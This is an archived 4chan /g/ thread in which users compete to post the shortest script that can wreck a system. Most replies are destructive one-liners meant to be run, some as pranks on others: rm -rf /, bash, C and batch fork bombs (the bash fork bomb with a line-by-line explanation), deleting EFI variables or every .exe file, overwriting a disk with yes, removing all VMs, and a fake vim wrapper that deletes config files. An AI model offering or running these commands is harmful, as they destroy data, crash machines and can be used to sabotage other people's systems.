[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
hey /g/ write the shortest script possible that can fuck shit up
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 44
Thread images: 5
File: blue-screen-of-death.jpg (284 KB, 1280x1024) Image search: [Google]
blue-screen-of-death.jpg
284 KB, 1280x1024
hey /g/
write the shortest script possible that can fuck shit up
>>
sudo rm -rf /
>>
>>54527722
On Windows 98: C:\con\con
>>
>>54527736
Epik toast.
>>
sudo rm -rf / --no-perserve-root
>>
sudo service iptables stop
>>
>>54527722
/timer 0 0 notepad
>>
>>54527736 cant troll with that anymore, most systems have rm use on / disabled by default
:(){ :|: & };:
is still a fucking classic tho
>>
>>54527797
Bonus points if you can actually explain why it works.
>>
Unplug the power
>>
>>54527821
This is called a fork bomb.

:() means you are defining a function called :

{:|: &} means run the function : and send its output to the : function again and run that in the background.

The ; is a command separator, like &&.

: runs the function the first time.

Essentially you are creating a function that calls itself twice every call and doesn't have any way to terminate itself. It will keep doubling up until you run out of system resources.
>>
>>54527722
sudo rm -rf /sys/firmware/efi/efivars
>>
>>54527722
Get-VM |Remove-VM -force
>>
so calling this function even more times can make this even "better"?
>>
Once I had a friend who told me his FreeBSD machine was so secure he gave me an account and said: "do what you will - my system is unbreakable"

I just created a .c file and wrote

#include <unistd.h>

int main(void)
{
while(1) fork();
}


And then compiled it, and run it

Then his machine died
>>
File: 1459936541467.png (962 KB, 1736x2648) Image search: [Google]
1459936541467.png
962 KB, 1736x2648
>>54527722
this should help you
>>
File: 1463099254450.jpg (40 KB, 500x375) Image search: [Google]
1463099254450.jpg
40 KB, 500x375
>>54527916
>genius
>>
cd C:\ && for /r %i in (*.exe) do del "%i" >> null
>>
File: 1463101694354.jpg (78 KB, 500x700) Image search: [Google]
1463101694354.jpg
78 KB, 500x700
>>54527797
>>
File: himZD0M.gif (993 KB, 250x250) Image search: [Google]
himZD0M.gif
993 KB, 250x250
>>54529234
>he gave me an account and said: "do what you will - my system is unbreakable"
Well deserved anon, well deserved.
>>
>>54527722
Run my version of "Hello World", it has set some machines on fire.

One of these days I'll get that program to run properly. But for now it is a ∞ class attack program.
>>
>>54529234
I call bullshit, there's a limited amount of processes you can run as a normal user on BSD systems.
>>
>>54527722
Start a.bat. name program a.bat
>>
FileDelete("C:\*.*")
>>
>>54530609
this is better,
1. create a .bat file with any name with this:
%0|%0
2. run it
3. ???
4. Profit
>>
>>54527767
vicious
>>
>>54529326
>there are enough people who did this to warrant an official article
https://support.microsoft.com/en-us/kb/947241
>>
WARNING PLEASE DO NOT USE THIS CODE UNLESS YOU ABSOLUTELY TOTALLY WANT TO BRICK YOUR SYSTEM FOR ALL ETERNITY AND EVER AFTER
iexplore
>>
>>54527722
yes >/dev/sda

Will wipe over all data on the first disk with "y\n". Shorter than either the dd method or the old /dev/zero cat.
>>
>>54527916
What does the & do?
>>
>>54531708
runs it in the background.
>>
Who can make the shortest script that bluescreens a Windows 10?


Maybe Ill try, with C but how ?
>>
>>54528682
Found the sysadmin/devops guy

Hello brother, at my company that would fuck approximately 5,000 vms. I mean we have backups of most but that would be a pretty bad day for me.
>>
>>54527797
is this the one that makes the silver hypno screen? someone did that at school on one computer and the whole department was closed for months
>>
>>54529350
Who are you quoting?
>>
>>54531786
void WINAPI ShowBlueScreen();

ShowBlueScreen();
>>
>>54531828
ebin le maymay, redditor XD °_° lol
>>
It's not short but it is a good idea, especially if someone's system has ~/bin at the front of their path for some idiotic reason

cat > ~/bin/vim << EOF
#!/bin/sh
rm -rf ~/.*{rc,conf*}
EOF
chmod 555 /bin/vim
>>
>>54531827
It's a fork bomb, baby
>>
>>54530726
Anyone got another forkbomb? This thread is collecting them.
>>
>>54527722
sudo cat "dank memes" > /dev/sda
>>
>>54527722
echo "increase_speed" > /boot/efi/*
>>
>>54527797
>bomberman
>>
I don't know much about scripting but the other day I updated my Ubuntu server and it failed to boot which is pretty cool I guess.
Thread replies: 44
Thread images: 5

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.